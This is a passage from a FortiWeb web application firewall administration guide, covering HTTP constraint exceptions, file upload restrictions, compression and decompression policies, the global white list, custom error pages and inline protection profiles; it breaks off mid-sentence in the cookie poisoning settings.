4. Click *OK*.
5. Click *Create New* to add an entry to the set.

A dialog appears.

6. Configure these settings:

Edit HTTP Constraints Exception Rule

ID	1
Host Status	☐
Host	Please Select ▼
Request Type	☒ Simple String ☐ Regular Expression
URL Pattern	/constraint-exception <input style="float: right; border: 1px solid #ccc; padding: 0 5px; background-color: #eee;"/> >>
Header Length	☐
Content Length	☐
Body Length	☐
Parameter Length	☐
Header Line Length	☐
HTTP Request Length	☐
URL Parameter Length	☐
Number of Cookies in Request	☐
Number of Header Lines in Request	☐
Illegal HTTP Request Method	☒
Number of URL Parameters	☐
Illegal Host Name	☐
Number of ranges in Range Header	☐
Malformed Request	☐

Setting name	Description
Host Status	Enable to apply this HTTP constraint exception only to HTTP requests for specific web hosts. Also configure Host . Disable to apply the exceptions to all web hosts.
Host	Select the IP address or fully qualified domain name (FQDN) of the protected host to which this exception applies.
Request Type	This setting is available only if Host Status is enabled. Select whether the URL Pattern field will contain a literal URL (<i>Simple String</i>), or a regular expression designed to match multiple URLs (<i>Regular Expression</i>).

Setting name	Description
URL Pattern	Depending on your selection in the <i>Request Type</i> field, enter either: - the literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the input rule. The URL must begin with a backslash (<code>/</code>). - a regular expression, such as <code>^/* .php</code>, matching all and only the URLs to which the input rule should apply. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a backslash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the <i>Host</i> drop-down list. To create and test a regular expression, click the <code>>></code> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658)n.
Header Length	Enable to omit the constraint on the maximum acceptable size in bytes of the HTTP header.
Content Length	Enable to omit the constraint on the maximum acceptable size in bytes of the request body.
Body Length	Enable to omit the constraint on the maximum acceptable size in bytes of the HTTP body.
Parameter Length	Enable to omit the constraint on the maximum acceptable size in bytes of parameters in the URL or, for HTTP <code>POST</code> requests.
Header Line Length	Enable to omit the constraint on the maximum acceptable size in bytes of each line in the HTTP header.
HTTP Request Length	Enable to omit the constraint on the maximum acceptable length in bytes of the HTTP request.
URL Parameter Length	Enable to omit the constraint on the maximum acceptable size of an URL parameter (including the name and value).
Number of Cookies In Request	Enable to omit the constraint on the maximum acceptable number of cookies in an HTTP request.
Number of Header Lines In Request	Enable to omit the constraint on the maximum acceptable number of lines in the HTTP header.
Illegal HTTP Request Method	Enable to omit the constraint on to check for invalid HTTP version numbers.
Number of URL Parameters	Enable to omit the constraint on the maximum number of parameters in the URL.
Illegal Host Name	Enable to omit the constraint on invalid characters in the <code>Host :</code> line of the HTTP header, such as null characters or encoded characters.

Setting name	Description
Number of ranges in Range Header	Enable to omit the constraint on the maximum acceptable number of <code>Range:</code> lines in an HTTP header. Tip: Some versions of Apache are vulnerable to a denial of service (DoS) attack on this header, where a malicious client floods the server with many <code>Range:</code> headers. If your web servers do not run Apache and are not vulnerable to this attack, mark this check box to omit it from the scan and improve performance.
Malformed Request	Enable to omit the constraint on syntax and FortiWeb parsing errors. Caution: Some web applications require abnormal or very large HTTP <code>POST</code> requests. Since allowing such errors and excesses is generally bad practice and can lead to vulnerabilities, use this option to omit the malformed request scan only if absolutely necessary.

7. Click *OK*.
8. Repeat the previous steps for each rule you want to add to the exception.
9. Group the HTTP protocol constraint exception in an HTTP protocol constraint profile (see [“HTTP/HTTPS protocol constraints” on page 430](#)).

See also

- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)

Limiting file uploads

You can restrict file uploads based upon file type and size.

Detection and restriction are performed by scanning `Content-Type:` and `Content-Length:` headers in HTTP `PUT` and `POST` request methods submitted to your web servers.

For example, if you want to allow only specific types of files (MP3 audio files, PDF text files and GIF and JPG picture files) to be uploaded to:

`http://www.example.com/upload.php`

create a file upload restriction policy that contains rules that define only those specific file types. When FortiWeb receives an HTTP `PUT` or `POST` request for the `/upload.php` URL with `Host: www.example.com`, it scans the HTTP request and allows only the specified file types to be uploaded. FortiWeb blocks file uploads for any HTTP request that contains non-specified file types.

To configure a file upload restriction rule

1. Go to *Web Protection > Input Validation > File Upload Restriction Rule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see ["Permissions" on page 46](#).

2. Click *Create New*.

A dialog appears.

Edit File Upload Restriction Rule

Name

file-upload-rule1

Host Status

☒

Host

www.example.com

Request URL

/upload.php

File Upload Limit

400

(0-5120)(KBytes)

OK

Cancel

Add File Types

ID	Allow File Types	
1	GIF	
2	PNG	
3	XML	

Delete

Clear all


3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4. If you want to apply this file upload restriction rule only to requests for specific web hosts:
 - Enable *Host Status*.
 - From *Host*, select the IP address or FQDN of a protected host.

Disable *Host Status* to match the file upload restriction rule based upon the other criteria, such as the URL, but regardless of the *Host* : field

5. In *Request URL*, type the literal URL, such as `/upload.php`, to which the file upload restriction applies. The URL must begin with a slash (/).
- Do not include the name of the host, such as `www.example.com`, which is configured separately in the *Host* drop-down list.
6. In *File Upload Limit*, type a number to represent the maximum size in kilobytes for any individual file. The upload rule rejects allowed files larger than this number. The valid range is from 0 to 5,120 KB (5 MB).
7. Click **OK**.
8. To add or remove file types, click *Add File Types*.

A dialog appears.



9. In the *File Types* pane, select the file types to allow, then click the right arrow (->) to move them to the *Allow Files Types* pane.
10. Click **OK**.
11. Group the file upload restriction rule in a file upload restriction policy (see [“Grouping file upload restrictions” on page 441](#)).

See also

- [Trojans](#)

Grouping file upload restrictions

Before you can limit the file size and types that can be uploaded to your web server, you must first assemble the set of file upload restrictions.

To configure a file upload restriction policy

1. Before you can create a policy, you must create rules to include in the policy. See [“Limiting file uploads” on page 440](#).
2. Go to *Web Protection > Input Validation > File Upload Restriction Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.
4. Configure these settings:

Edit File Upload Restriction Policy

Name

file-upload-policy1

Action

Alert & Deny ▾

Block Period

60 (1~3600)(Seconds)

Severity

Medium ▾

Trigger Action

notification-servers1 ▾

Antivirus Scan

☒

OK

Cancel

Create New

 Clear all

ID	File Upload Restriction Rule	
1	file-upload-rule1	 Delete  Edit

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

Action

Select which action the FortiWeb appliance will take when it detects a violation of the rule:

- **Alert** — Accept the connection and generate an alert email and/or log message.
- **Alert & Deny** — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
- **Period Block** — Block subsequent requests from the client for a number of seconds. Also configure [Block Period](#).
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you **must** also define an X-header that indicates the original client’s IP (see [“Defining your proxies, clients, & X-headers” on page 256](#)). Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type.

The default value is *Alert*.

Caution: This setting will be ignored if [Monitor Mode](#) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. See [“Logging” on page 529](#) and [“Alert email” on page 563](#).

Note: If you will use this rule set with auto-learning, you should select *Alert*. If [Action](#) is *Alert & Deny*, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if [Action](#) is set to *Period Block*. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also [“Monitoring currently blocked IPs” on page 591](#).

Severity

When rule violations are recorded in the attack log, each log message contains a *Severity Level* (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is *High*.

Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544 .
Antivirus Scan	Enable to scan for trojans. Also enable the signatures (<i>Trojans</i>) and configure the antivirus-specific <i>Action</i>, <i>Block Period</i>, <i>Severity</i>, and <i>Trigger Action</i> (see “Blocking known attacks & data leaks” on page 377). Attackers often modify HTTP header so that the request’s <code>Content-Type</code>: does not match — it indicates an allowed file type, but the byte code contained in the body is actually a virus. This scan ensures that the request actually contains the file type that it professes, and that it is not infected.

5. Click *OK*.
6. Click *Create New* to include a rule in the set.

A dialog appears.

7. From the *File Upload Restriction Rule* drop-down list, select an existing file upload restriction rule that you want to use in the policy.
To view or change the information associated with the item, select the *Detail* link. The *File Upload Restriction Rule* dialog appears. Use the browser *Back* button to return.
8. Click *OK*.
9. Repeat the previous steps for each rule that you want to add to the file upload restriction policy.
10. To apply the file upload restriction policy, select it in an inline or offline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#) or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#)).

See also

- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Compression & decompression

Similar to SSL/TLS, you can either completely offload compression to FortiWeb to save resources on your web servers, or temporarily decompress only as needed to scan and/or modify traffic that has already been compressed by your web servers.

Configuring compression/decompression exemptions

If necessary, you can exempt HTTP `Host` : names and URLs from compression or decompression by FortiWeb. Generally, if a specific web server already applies compression, and if a specific response never needs to be scanned, compressed, or rewritten, it should be exempt from compression/decompression by FortiWeb.



If compressed, a request or response usually cannot be scanned, rewritten, or otherwise modified by FortiWeb. If you exempt vulnerable URLs, this will compromise the security of your network.

To configure a rule exclusion

1. Go to *Application Delivery > Compression > Exclusion Rule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.


A dialog appears.

ID	Host	Host Status	Request URL
1	192.168.1.2	Enable	/index.html
2	192.168.1.3	Enable	/index.asp

3. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Click *OK*.

5. Click *Create New*.

A dialog appears.



The 'Edit URL' dialog box contains the following fields and controls:

- ID:** A text field containing the value 'auto'.
- Host:** A dropdown menu showing '192.168.1.2'.
- Host Status:** A checkbox that is checked.
- Request URL:** A text field containing '/index.html'.
- Buttons:** 'OK' and 'Cancel' buttons at the bottom.

6. Enable *Host Status* to require that the `Host :` field of the HTTP request match a protected hosts entry in order to match the exclusion.
Also configure *Host*.
7. From the *Host* drop-down list, select which protected host entry that the `Host :` field of the HTTP request must be in to match the exclusion.
This option is available only if *Host Status* is enabled.
8. In *Request URL*, type the exact URL of the page to use in the exclusion.
The URL must begin with a slash (/). The URL must not include the domain or IP address.
9. Click *OK*.
10. Include the exception in a compression or decompression policy (see [“Configuring compression offloading” on page 446](#) or [“Configuring decompression to enable scanning & rewriting” on page 449](#)).

Configuring compression offloading

Most web servers can be configured to compress files when responding to a request. Compressed files often reduce bandwidth, and can result in faster delivery time to clients. (Modern browsers automatically decompress files before displaying the web pages.)

To successfully decompress and read the response, clients use the corresponding decompression algorithm. Web servers include an HTTP header such as:

```
Content-Encoding: gzip
```

to indicate which algorithm was used to compress the HTTP body:

```
^_<8B>^H^H+h,M^@^Cimage.png^@<EC><FC>St<AE>K<D4><EF><8B><C6>^\\1G<AC>
^Q<DB>
<U+0588>F1?m?m?m<DB>^Y<D1>N<E6><9C><DF>^<AB><B5>sq<CE><D5><D9><FB>b<
A5><B5>\\<BC><EF><F3>T/<F5><AA><EA><BF>^?<F5>$DZR^X^F
^C
^@^@^@?<80>,^@^@
<EF><D7><EF>6^D<D8><D7>7<F3><E1><F5>^B^@^@x^@^?^D<F8><E4><9D>
(content truncated)
```

If want to gain the benefits that compression offers, but do not want to configure it on your web servers, you can offload compression to FortiWeb instead.



If your web servers are starved for CPU cycles and RAM, offloading compression from your web servers to FortiWeb can alleviate that bottleneck and improve performance.

Based upon the HTTP `Content-Type`: headers that you select (which correspond to Internet file type/MIME type categories such as images and XML), FortiWeb will compress matching responses. The total size of a large web page with lengthy JavaScripts and CSS, while in transit, could be many times smaller.



The maximum pre-compressed file size that FortiWeb can compress is 128 KB. Files larger than that limit will be transmitted **without** compression.

For example, a typical web page is comprised of several responses, such as an HTML document:

```
Content-Type: text/html
```

perhaps several images:

```
Content-Type: image/png
```

and a JavaScript:

```
Content-Type: text/javascript
```

If your protected web servers do **not** already apply compression, and you configure a compression policy for `text/html` and `text/javascript`, those typically lengthy and repetitive text-based documents can be efficiently compressed into much smaller responses. If bandwidth between server and client is the performance bottleneck, this could improve performance dramatically.

Not all HTTP clients support compression: RPC clients, for example, transmit binary data and do not support compression. For those host names and/or URLs, you should create exceptions.

To configure a file compression policy

1. Before you configure file compression, configure the exceptions, if any. See [“Configuring compression/decompression exemptions” on page 445](#).



If your web servers are already configured to compress responses, you should either disable compression on the server, or configure exceptions for URLs hosted by that server. Otherwise, in some cases, FortiWeb might expend resources compressing responses that have already been compressed by the server. This can cause performance to **decrease** instead of increase.

2. Go to *Application Delivery > Compression > File Compress Policy*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

ID	Content Type
1	text/html
2	text/plain

4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. From *Exclusion URL*, you can select an existing exclusion. (See [“Configuring compression/decompression exemptions”](#) on page 445.)

Optionally, select an exclusion and click the *Detail* link. The exclusion dialog appears. You can view and edit the exclusion. Use the browser *Back* button to return.

6. Click *OK*.
7. To add or remove a content type, click *Add Content Type*.

A dialog appears.

Content Types	Allow Types
application/x-javascript	application/soap+xml
application/javascript	application/xml(or)text/xml
text/javascript	text/html
	text/plain
	text/css

8. In the *Content Types* list, select the content types that you want to compress, then click the right arrow (->) to move them to the *Allow Types* list.

For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current deprecated status, many web servers use `text/javascript`.



These apply compression only to JavaScripts that are **external** to a web page — that is, not directly embedded in a `<script>` tag or inline in the HTML document itself, but instead included via reference to a JavaScript file, such as `<script src="/nav/menu.js">`, and therefore are contained in a separate HTTP response from the HTML document. Likewise, selecting the `text/css` content type for compression will only compress external CSS. It will **not** compress CSS embedded directly within the HTML file. (Embedded CSS or JavaScript are governed by `Content-Type: text/html` instead.)

9. Click *OK*.
10. To apply the compression policy, select it in an inline protection profile used by a server policy (see [“Configuring a protection profile for inline topologies”](#) on page 456).

See also

- [Sequence of scans](#)

Configuring decompression to enable scanning & rewriting

If the HTTP body is compressed, FortiWeb **cannot** parse it for rewriting, nor scan for potential problems such as a data leak or virus. Traffic that is encrypted and/or compressed is not a normalized stream. Bodies of compressed responses effectively have low-grade encryption: they are **not** in clear text, and therefore do not match signatures, and cannot be rewritten.

How, then, can you scan or rewrite compressed traffic?

If your protected web servers compress files themselves (i.e. compression has **not** been offloaded), configure a FortiWeb decompression policy.

You can configure FortiWeb to temporarily decompress the body of a response based on its file type, which is specified by the HTTP `Content-Type`: header. After, if there is no policy-violating content nor rewriting required, the FortiWeb appliance will allow the compressed version of the response to pass. Otherwise, if modification is required, FortiWeb will modify the response before re-compressing it and passing it to the client.



The maximum compressed file size that FortiWeb can decompress is configured in [Maximum Antivirus Buffer Size](#). By default, files larger than that limit are passed along **without** scanning or modification. **This could allow malware to reach your web servers, and cause HTTP body rewriting to fail.** If you prefer to **block** requests greater than this buffer size, configure [Body Length](#). To be sure that it will not disrupt normal traffic, first configure [Action](#) to be *Alert*. If no problems occur, switch it to *Alert & Deny*.



The response headers must include `Content-Encoding: gzip` in order to match the decompression policy. Other compression algorithms are not currently supported.

To configure a decompression policy

1. Configure your web servers to compress their responses.
2. Before you configure the decompression policy, configure the exceptions, if any, that you want it to include. See [“Configuring compression/decompression exemptions”](#) on page 445.
3. Go to *Application Delivery > Compression > File Uncompress Policy*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions”](#) on page 46.

- Click *Create New*.

A dialog appears.

ID	Content Type	
1	text/html	
2	text/plain	

- In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
- Click *OK*.
- From *Exclusion URL*, you can select an existing exclusion. (See [“Configuring compression/decompression exemptions” on page 445](#).)
Optionally, select an exclusion and click the *Detail* link. The exclusion dialog appears. You can view and edit the exclusion. Use the browser *Back* button to return.
- To add or remove a content type, click *Add Content Type*.

A dialog appears.

- In the *Content Types* list, select the content types that you want to decompress, then click the right arrow (->) to move them to the *Allow Types* list.

For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current deprecated status, many web servers use `text/javascript`.



These decompress only JavaScripts that are **external** to a web page — that is, not directly embedded in a `<script>` tag or inline in the HTML document itself, but instead included via reference to a JavaScript file, such as `<script src="/nav/menu.js">`, and therefore are contained in a separate HTTP response from the HTML document. Likewise, selecting the `text/css` content type for compression will only compress external CSS. It will **not** decompress CSS embedded directly within the HTML file. (Embedded CSS or JavaScript are governed by `Content-Type: text/html` instead.)

- Click *OK*.
- To apply a decompression policy, select it in an inline or offline protection profile used by a server policy (see [“Configuring a protection profile for inline topologies” on page 456](#) or

[“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#)).

Policies

The *Policy* menu configures policies and protection profiles.

You can configure most protection features and traffic modification at any time. However, **most features will not be applied until you include them in a policy that governs traffic** (either directly or indirectly, via protection profiles).

See also

- [Supported features in each operation mode](#)
- [Matching topology with operation mode & HA mode](#)

How operation mode affects server policy behavior

Policy and protection profile behavior and supported features varies by the operation mode. (See also “[Supported features in each operation mode](#)” on page 61.)

Table 42: Policy behavior by operation mode

	Operation mode			
	Reverse Proxy	Offline Protection	True Transparent Proxy	Transparent Inspection
Matches by	• Service • Virtual server	Virtual server's network interface, but not its IP address.	V-zone (bridge), but not its IP address.	V-zone (bridge), but not its IP address.
Violations	Blocked or modified, according to profile.	Attempts to block by mimicking the client or server and requesting to reset the connection; does not modify otherwise.	Blocked or modified, according to profile.	Attempts to block by mimicking the client or server and requesting to reset the connection; does not modify otherwise.
Profile support	• Inline protection profiles • Auto-learning profiles	• Offline protection profiles • Auto-learning profiles	• Inline protection profiles • Auto-learning profiles	• Offline protection profiles • Auto-learning profiles

Table 42: Policy behavior by operation mode

	Operation mode			
	Reverse Proxy	Offline Protection	True Transparent Proxy	Transparent Inspection
SSL	Certificate used to offload SSL from the servers to FortiWeb; can optionally re-encrypt before forwarding to the destination server.	Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.	Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.	Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.
Forwarding	- Forwards to a single web server or member of a server farm using the port number where it listens; similar to a network address translation (NAT) policy on a general-purpose firewall. - Can load balance or route connections to a specific server based upon HTTP content.	Lets the traffic pass through to a member of a server farm, but does not load-balance.	Forwards to a member of a server farm (but allowing to pass through, without actively redistributing connections) using the port number where it listens.	Lets the traffic pass through to a member of a server farm, but does not load balance.

When determining which policy to apply to a connection, FortiWeb matching behavior varies by operation mode. The FortiWeb appliance will apply only one policy to each connection.

If a TCP connection does not match any of the policies, the FortiWeb appliance will either refuse the connection (if operating in reverse proxy mode) or deny the connection (if operating in other operation modes). Even if the TCP connection has a matching policy and is allowed, subsequently, if the HTTP/HTTPS request is not allowed by the policy's profiles, it is considered to be in violation of the policy, and the client may be blocked at the application (request) level, depending on the *Action* that you configure.

Policies are **not** applied while they are disabled. See [“Enabling or disabling a policy” on page 484](#).

Configuring the global object white list

Server Objects > Global White List > Global White List displays a list of common Internet entities, such as:

- the FortiWeb session cookie named `cookiesession1`
- Google Analytics cookies such as `__utma`
- the URL icon `/favicon.ico`
- AJAX parameters such as `__LASTFOCUS`

that your FortiWeb appliance can ignore when it enforces your policies.

When enabled, whitelisted items are **not** flagged as potential problems, nor incorporated into auto-learning data. This feature reduces false positives and improves performance.



FortiGuard FortiWeb Security Service service updates the global white list. You cannot manually add or delete global white list entries.

To include white list items during policy enforcement and auto-learning reports, you must first disable them in the global white list.

To disable an item in the global white list

1. Go to *Server Objects > Global White List > Global White List*.

ID	Name	Path	Domain	Enable
▼ URL				
100001		/favicon.ico		☐
▶ Parameter				
▼ Cookie				
300001	__utma			☒
300002	__utmb			☒
300003	__utmc			☒
300004	__utmz			☒
300005	__utmv			☒
300006	__utmx			☒

Apply

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see ["Permissions" on page 46](#).

2. To see the items that each section contains and to expose those items' *Enable* check box, click the blue expansion arrows.
3. In the row of the item that you want to disable, clear the check box in the *Enable* column.
4. Click *Apply*.
5. To verify that an item is no longer whitelisted, you can enable auto-learning, then make a request to a protected web site. The auto-learning report should omit any items that you have disabled, such as the `/favicon.ico` URL.

See also

- [Configuring a server policy](#)
- [Viewing auto-learning reports](#)

Uploading a custom error page

Error pages can be displayed when a client violates a policy where the *Action* is *Alert & Deny* in its protection profile. Because error pages from the web server frequently mention the web

server version and application stack, such as this one from Apache (server information disclosure highlighted in red):

Not Found

The requested URL /dne was not found on this server.

Apache/2.2.3 (Red Hat) Server at wiki.example.com Port 80

or this one from WebSphere (server and source code information disclosure highlighted in red):

JSP Processing Error

HTTP Error Code: 404

Error Message: JSPG0036E: Failed to find resource
/fr/investissement/accueil.jsp

Root Cause: java.io.FileNotFoundException: JSPG0036E: Failed to
find resource /fr/investissement/accueil.jsp
at
com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionPro
cessor.findWrapper(AbstractJSPExtensionProcessor.java:
395)
at
com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionPro
cessor.handleRequest(AbstractJSPExtensionProcessor.jav
a:349)
at
com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(We
bApp.java:3933)
(output abbreviated)
at
com.ibm.ws.tcp.channel.impl.WorkQueueManager\$Worker.ru
n(WorkQueueManager.java:1069)
at
com.ibm.ws.util.ThreadPool\$Worker.run(ThreadPool.java:
1604)

this can be used for fingerprinting before an attack, you can craft a generic page that refers anyone who receives the page by accident to simply contact a network administrator.

To configure an error page

1. Using an HTML editor, create an HTML page that includes your chosen error message.

If you plan to display just one page, name it index.html. To use multiple pages such as with a frame set, make sure the entry point is index.html. The pages may include external files such as graphics and CSS if necessary.

2. Compress the page or pages and any accompanying graphics or auxiliary files into a .zip, .gz, or .tgz archive.


The compressed file must not exceed 1 MB.

3. Go to *Server Objects > Error Page > Error Page*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

4. Click *Create New*.

A dialog appears.



5. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
6. Click *Browse* and locate the compressed error message file you created.
7. Click *OK*.

Your web browser uploads the file. The FortiWeb appliance examines the file you select. It will reject any file that does not meet all requirements for file naming, supported compression format, and maximum size.

To preview the uploaded page, mark its check box in the list of custom error pages, then click *View* in the tool bar. The error page will be displayed in the frame to the right of the web UI navigation menu. To return to the list of error pages, click *Return*.

8. To apply an error page to blocked requests, select it from [Error Page](#) in a server policy (see [“Configuring a server policy” on page 471](#)).

Configuring a protection profile for inline topologies

Inline protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be applied by a policy. Inline protection profiles contain only the features that are supported in inline topologies, which will be used with operation modes such as reverse proxy and true transparent.

Inline protection profiles' primary purpose is to block attacks, especially for use in conjunction with auto-learning profiles. If used in conjunction with auto-learning profiles, you **should** configure the offline protection profile to log **but not block** attacks in order to gather complete session statistics for the auto-learning feature.



Inline protection profiles include features that require an inline network topology. They can be configured at any time, but **cannot** be applied by a policy if the FortiWeb appliance is operating in a mode that does not support them. For details, see [Table 42 on page 452](#).

To configure an inline protection profile

1. Before configuring an inline protection profile, first configure any of the following that you want to include in the profile:



To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers' traffic. For details, see [“Auto-learning” on page 149](#).

- an X-Forwarded-For: or other X-header rule (see [“Defining your proxies, clients, & X-headers” on page 256](#))
 - a file upload restriction (see [“Grouping file upload restrictions” on page 441](#))
 - an allowed method set (see [“Specifying allowed HTTP methods” on page 426](#))
 - a URL access rule (see [“Grouping access rules per combination of URL & “Host:”” on page 314](#))
 - a signature set (see [“Blocking known attacks & data leaks” on page 377](#))
 - a page order rule (see [“Enforcing page order that follows application logic” on page 401](#))
 - a parameter validator (see [“Grouping input rules” on page 418](#))
 - a hidden fields protector (see [“Grouping input rules for hidden inputs” on page 425](#))
 - a start pages rule (see [“Specifying URLs allowed to initiate sessions” on page 405](#))
 - a brute force login attack detector (see [“Preventing brute force logins” on page 352](#))
 - a protocol constraints rule (see [“HTTP/HTTPS protocol constraints” on page 430](#))
 - a rewriting or redirection set (see [“Grouping rewriting & redirection rules” on page 375](#))
 - an authentication policy (see [“Offloading HTTP authentication & authorization” on page 221](#))
 - a file compression rule (see [“Configuring compression offloading” on page 446](#))
 - a file decompression rule (see [“Configuring decompression to enable scanning & rewriting” on page 449](#))
 - a DoS protector (see [“Grouping DoS protection rules” on page 345](#))
 - a client IP set (see [“Blacklisting & whitelisting clients individually by source IP” on page 325](#))
 - the IP reputation policy (see [“Blacklisting source IPs with poor reputation” on page 319](#))
 - a trigger if you plan to use policy-wide log and alert settings (see [“Configuring triggers” on page 545](#))
2. Go to *Policy > Web Protection Profile > Inline Protection Profile*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
 3. Click *Create New*.
Alternatively, click the *Clone* icon to copy an existing profile as the basis for a new one. The predefined profiles supplied with your FortiWeb appliance cannot be edited, only viewed or cloned.
A dialog appears.

4. Configure these settings:

Edit Inline Protection Profile

Name	inline-protection-profile1		
Session Management	☒		
Session Timeout	30	Seconds	
X-Forwarded-For	x-headers1		Detail...
Cookie Poison	☒ Alert & Deny	60	High
	notification-servers1		

Known Attacks

Signatures	attack-signatures1 Detail...		
Enable AMF3 Protocol Detection	☐		
Enable XML Protocol Detection	☐		
Illegal XML Format	☐ Alert	60	High
	Please Select		

Advanced Protection

Custom Access	combo-IP-rate-URL-policy1 Detail...		

Input Validation

Parameter Validation	parameter-validation-policy1 Detail...		
Hidden Fields Protection	hidden-field-policy1 Detail...		
File Upload Restriction	file-upload-policy1 Detail...		

Protocol

HTTP Protocol Constraints	http-constraint1 Detail...		

Access

Brute Force Login	brute-force-preventer1 Detail...		
URL Access	url-access-policy1 Detail...		
Page Access	page-order-rule1 Detail...		
Start Pages	session-initiation1 Detail...		
Allow Method	method-policy1 Detail...		
IP List	client-blacklist1 Detail...		
Geo IP	north-america Detail...		

DoS Protection

DoS Protection	dos-protection1 Detail...		

IP Reputation

IP Reputation	☒		
Allow Known Search Engines	☒ Detail...		

Application Delivery

URL Rewriting	url-rewrite-policy1 Detail...		
HTTP Authentication	http-auth-policy1		
File Compress	compression-policy1 Detail...		
File Uncompress	decompression-policy1 Detail...		

Redirect URL	http://www.fortinet.com/		
Redirect URL With Reason	☒		
Data Analytics	☒		

OK Cancel

Setting name	Description
Session Management	Enable to add a cookie to the reply in order for FortiWeb to be able to track the state of web applications across multiple requests (i.e., to implement HTTP sessions). Also configure <i>Session Timeout</i>. This feature adds the FortiWeb's own session support, and does not duplicate or require that your web applications have its own sessions. For details, see “HTTP sessions & security” on page 32. Note: Enabling this option is required if: • you select features requiring session cookies, such as DoS Protection, Start Pages, Page Access, or Hidden Fields Protection • in any policy, you will select an auto-learning profile with this profile • you want to include this profile's traffic in the traffic log Note: This feature requires that the client support cookies. RPC clients and browsers where the person has disabled cookies do not support FortiWeb HTTP sessions, and therefore also do not support FortiWeb features that are dependent upon them.
Session Timeout	Type the HTTP session timeout in seconds. After this time elapses during which there were no more subsequent requests, after which the FortiWeb appliance will regard the next request as the start of a new HTTP session. This option appears only if Session Management is enabled. The default is 1200 (20 minutes).
X-Forwarded-For	Select the X-Forwarded-For: and X-Real-IP: HTTP header settings to use, if any. For details, see “Defining your proxies, clients, & X-headers” on page 256. Note: Configuring this option is required if the true IP address of the client is hidden from FortiWeb because a load balancer or other web proxy is deployed in front. In that case, you must configure an X-header rule so that FortiWeb will block only requests related to the original client. Otherwise, it may block all requests whenever any attack occurs, since all requests will appear to originate from the proxy's IP.

Setting name	Description
Cookie Poisoning Detection	Enable to detect cookie poisoning, then select which of the following actions the FortiWeb appliance will take if cookie tampering is detected: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request and generate an alert and/or log message. • Period Block — Block requests for a specified number of seconds as set in the accompanying field to the right. The range is 1 to 3600. See also “Monitoring currently blocked IPs” on page 592. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. • Remove Cookie — Accept the request, but remove the poisoned cookie from the datagram before it reaches the web server, and generate an alert and/or log message. For more information on logging and alerts, see “Configuring logging” on page 533. When enabled, each cookie is accompanied by a cookie named <code><cookie_name>_fortinet_waf_auth</code>, which tracks the cookie’s original value when set by the web server. If the cookie returned by the client does not match this digest, the FortiWeb appliance will detect cookie 